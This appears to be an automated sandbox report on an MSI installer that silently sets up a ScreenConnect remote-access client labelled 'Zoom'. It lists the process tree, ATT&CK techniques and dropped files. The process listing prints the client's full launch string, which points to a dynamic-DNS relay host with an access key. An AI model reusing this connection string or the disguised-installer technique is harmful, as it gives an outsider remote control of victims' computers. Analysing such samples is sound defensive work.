Overview

overview

8

Static

static

1

666aa71357...ab.msi

windows7-x64

8

666aa71357...ab.msi

windows10-2004-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/08/2024, 03:44

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General

  • Target
    666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab.msi
  • Size 10.4MB
  • Sample240814-eahc4swdmc
  • SHA256 666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
discoverypersistenceprivilege_escalation

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 20 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:388
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 50264D2AA5792C34FA1A605AD60DE0C6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA71D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240625796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:728
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4296
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B8B57C387E7B0B5A9A8406801064F840
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2120
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DD8885946B5E94A03F559CFAD0F6E982 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3544
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2800
    • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=poyttwq.zapto.org&p=8041&s=460adb23-f4a8-40fc-88a4-5a6e0fb12ec2&k=BgIAAACkAABSU0ExAAgAAAEAAQARwlCbNekqtvn7ehBbVwdj7uvzavA8rmmmr3yj7MR0sbp1gpODtITSSp2yopf%2ba7WKdfYEX%2fyTe6B0w%2birgqpxQHxW0KLJJ9dnyhCmBc0kgbG0vIPUmrbaML2HQr0t7mn269V%2b%2bWn87tuotq4VeGoagOdEWUVVZaGSEJ94nqZqGkrTz0RPCJC2SBT%2boKzc%2fKQO5wG%2fJpqFDDBxFZQwAzq31LnTDb6A3I3SoWMZBbyw1AOrfJaDaz8unfrictd01UIWxSfjfeZJdHg01pQ1qsSttdhfmQZCMI9%2fl6zudjwuJ52f7zCQREbAV%2bmhryBoYftW5MO08DWgvKvVv%2bp776bN&c=Zoom&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe" "RunRole" "d2460c40-a430-4253-b283-09a25e78dd44" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        PID:3044
      • C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe" "RunRole" "9025c6f4-93bc-4e2a-93f6-3895f6674047" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: AddClipboardFormatListener
        PID:5084

    Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57daff.rbs
          • Path C:\Config.Msi\e57daff.rbs
          • Size 213KB
          • SHA256 a5899bb365376bdc182561857d2531e238ed03d441b000edc0745f6748369d55
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.Override.en-US.resources
          • Size 343B
          • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
          • MD5 SHA1 SHA512
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.en-US.resources
          • Size 47KB
          • SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.Client.dll
          • Size 188KB
          • SHA256 17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.dll
          • Size 60KB
          • SHA256 7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe
          • Size 573KB
          • SHA256 71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\app.config
          • Size 1KB
          • SHA256 38edd3df8e7edb8decb53d1284f8ef151942212bcaaad4e3c000cf16c0f59082
          • MD5 SHA1 SHA512
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (b61627138138a03e)\system.config
          • Size 945B
          • SHA256 29cd679a36a4631e10f8e11864300aa4062abe7769cab6e50d3c351dcd103d84
          • MD5 SHA1 SHA512
          Submit Download

          MSIA71D.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSIA71D.tmp
          • Size 1017KB
          • SHA256 2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIA71D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIA71D.tmp-\ScreenConnect.Core.dll
          • Size 519KB
          • SHA256 761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIA71D.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          MSIDC38.tmp
          • Path C:\Windows\Installer\MSIDC38.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          e57dafe.msi
          • Path C:\Windows\Installer\e57dafe.msi
          • Size 10.4MB
          • SHA256 666aa713579df90134c83e3297eba42dd7d0d35bb343b9cd94af0793e8f8a0ab
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 23.7MB
          • SHA256 821cc24f810b9de1ab3ea7ecc8d236a29e4093874153ef4cdea718cf1e471542
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          {b883f04f-4d00-46a8-a088-ba42f65d46f7}_OnDiskSnapshotProp
          • Path \??\Volume{f930bed6-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{b883f04f-4d00-46a8-a088-ba42f65d46f7}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 91272fe24c2af69e46c96304fea5d7b1046397ffc4b51a8d90bb44b889ebd02f
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          memory/728-15-0x0000000004D90000-0x0000000004DBE000-memory.dmp
          Download

          memory/728-19-0x0000000004DD0000-0x0000000004DDC000-memory.dmp
          Download

          memory/728-23-0x0000000004EB0000-0x0000000004F38000-memory.dmp
          Download

          memory/3044-108-0x000000001B6D0000-0x000000001B758000-memory.dmp
          Download

          memory/3044-107-0x00000000027F0000-0x0000000002826000-memory.dmp
          Download

          memory/3044-125-0x00000000027D0000-0x00000000027E6000-memory.dmp
          Download

          memory/3044-126-0x0000000002850000-0x0000000002866000-memory.dmp
          Download

          memory/3044-124-0x000000001CD00000-0x000000001CE86000-memory.dmp
          Download

          memory/3044-104-0x00000000006D0000-0x0000000000764000-memory.dmp
          Download

          memory/3044-116-0x000000001B910000-0x000000001BABA000-memory.dmp
          Download

          memory/4348-89-0x00000000043E0000-0x0000000004430000-memory.dmp
          Download

          memory/4348-93-0x0000000004430000-0x0000000004466000-memory.dmp
          Download

          memory/4348-94-0x0000000004510000-0x00000000045A2000-memory.dmp
          Download

          memory/4348-85-0x00000000041E0000-0x000000000438A000-memory.dmp
          Download

          memory/4348-96-0x00000000045B0000-0x000000000466E000-memory.dmp
          Download

          memory/4348-86-0x0000000004940000-0x0000000004EE4000-memory.dmp
          Download

          memory/4348-76-0x0000000001780000-0x0000000001796000-memory.dmp
          Download